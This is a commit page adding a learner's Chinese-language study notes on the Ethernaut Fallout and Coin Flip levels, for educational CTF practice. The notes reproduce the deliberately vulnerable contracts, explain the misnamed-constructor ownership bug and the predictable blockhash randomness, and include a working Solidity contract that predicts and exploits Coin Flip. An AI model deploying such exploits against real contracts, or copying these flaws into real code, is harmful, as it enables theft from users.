Skip to content

Commit 7d3bb86

Browse files
committed
Add study notes for 2025-08-18
1 parent f5a1110 commit 7d3bb86

1 file changed

Lines changed: 178 additions & 0 deletions

File tree

SakuraTokoyomi.md

Lines changed: 178 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,184 @@ web3萌新
1515
## Notes
1616

1717
<!-- Content_START -->
18+
# 2025-08-18
19+
20+
## 2.**fallout**
21+
22+
复制代码到remix中遇到第一个报错:
23+
24+
import "openzeppelin-contracts-06/math/SafeMath.sol";
25+
26+
这一行代码应该已经报错找不到路径了,需要替换早期版本如下
27+
28+
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/math/SafeMath.sol";
29+
30+
```solidity
31+
// SPDX-License-Identifier: MIT
32+
pragma solidity ^0.6.0;
33+
34+
import "openzeppelin-contracts-06/math/SafeMath.sol";
35+
36+
contract Fallout {
37+
using SafeMath for uint256;
38+
39+
mapping(address => uint256) allocations;
40+
address payable public owner;
41+
42+
/* constructor */
43+
function Fal1out() public payable {
44+
owner = msg.sender;
45+
allocations[owner] = msg.value;
46+
}
47+
48+
modifier onlyOwner() {
49+
require(msg.sender == owner, "caller is not the owner");
50+
_;
51+
}
52+
53+
function allocate() public payable {
54+
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
55+
}
56+
57+
function sendAllocation(address payable allocator) public {
58+
require(allocations[allocator] > 0);
59+
allocator.transfer(allocations[allocator]);
60+
}
61+
62+
function collectAllocations() public onlyOwner {
63+
msg.sender.transfer(address(this).balance);
64+
}
65+
66+
function allocatorBalance(address allocator) public view returns (uint256) {
67+
return allocations[allocator];
68+
}
69+
}
70+
```
71+
72+
在网页上没有看出来,实际上构造函数的函数名字跟合约名字不一样Fal1out()和Fallout
73+
74+
代码审计一下,只需调用一次Fal1out()即可获得合约所有权
75+
76+
```solidity
77+
/* constructor */
78+
function Fal1out() public payable {
79+
owner = msg.sender;
80+
allocations[owner] = msg.value;
81+
}
82+
```
83+
84+
## 3.**Coin Flip**
85+
86+
```solidity
87+
// SPDX-License-Identifier: MIT
88+
pragma solidity ^0.8.0;
89+
90+
contract CoinFlip {
91+
uint256 public consecutiveWins;
92+
uint256 lastHash;
93+
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
94+
95+
constructor() {
96+
consecutiveWins = 0;
97+
}
98+
99+
function flip(bool _guess) public returns (bool) {
100+
uint256 blockValue = uint256(blockhash(block.number - 1));
101+
102+
if (lastHash == blockValue) {
103+
revert();
104+
}
105+
106+
lastHash = blockValue;
107+
uint256 coinFlip = blockValue / FACTOR;
108+
bool side = coinFlip == 1 ? true : false;
109+
110+
if (side == _guess) {
111+
consecutiveWins++;
112+
return true;
113+
} else {
114+
consecutiveWins = 0;
115+
return false;
116+
}
117+
}
118+
}
119+
```
120+
121+
代码审计一下其实就是猜数字,需要连续猜对10次。
122+
123+
数字的计算如下:
124+
125+
```solidity
126+
uint256 blockValue = uint256(blockhash(block.number - 1));
127+
uint256 coinFlip = blockValue / FACTOR;
128+
bool side = coinFlip == 1 ? true : false;
129+
```
130+
131+
取上一个区块的哈希值 blockhash(block.number - 1);
132+
133+
除以 FACTOR这里是57896044618658097711785492504343953926634992332820282019728792003956564819968
134+
135+
得到的结果要么是 0,要么是 1;
136+
137+
如果是 1,则答案是 true,否则是 false。
138+
139+
这里我们能对其进行预测的原因是:
140+
141+
在攻击合约 `attack()`
142+
143+
```solidity
144+
uint256 blockValue = uint256(blockhash(block.number - 1));
145+
uint256 coinFlip = blockValue / FACTOR;
146+
bool side = (coinFlip == 1);
147+
148+
// 底层调用目标合约的 flip(bool) 函数
149+
(bool success, bytes memory data) = target.call(
150+
abi.encodeWithSignature("flip(bool)", side)
151+
);
152+
```
153+
154+
这段逻辑与目标合约一模一样,而且发生在同一交易、同一 EVM 上下文中;
155+
156+
所以绝无“算错/不同步”的可能(除非在同块内第二次调用,触发 `lastHash` 检查)。
157+
158+
每个新区块都能得到确定的 side,于是可以连续 10 次全中(10 个区块,10 次交易)
159+
160+
攻击脚本如下:
161+
162+
```solidity
163+
// SPDX-License-Identifier: MIT
164+
pragma solidity ^0.8.0;
165+
166+
contract AttackCoinFlip {
167+
address public target;
168+
uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
169+
170+
constructor(address _target) {
171+
target = _target;
172+
}
173+
174+
function attack() external {
175+
uint256 blockValue = uint256(blockhash(block.number - 1));
176+
uint256 coinFlip = blockValue / FACTOR;
177+
bool side = (coinFlip == 1);
178+
179+
(bool success, bytes memory data) = target.call(
180+
abi.encodeWithSignature("flip(bool)", side)
181+
);
182+
}
183+
}
184+
```
185+
186+
但是需要注意
187+
188+
```solidity
189+
if (lastHash == blockValue) {
190+
revert();
191+
}
192+
```
193+
194+
如果两次猜测所在的区块一致会导致revert,因此脚本可能失败需要多执行几次。
195+
18196
# 2025-08-17
19197

20198
# 实践:Ethernaut闯关

0 commit comments

Comments
 (0)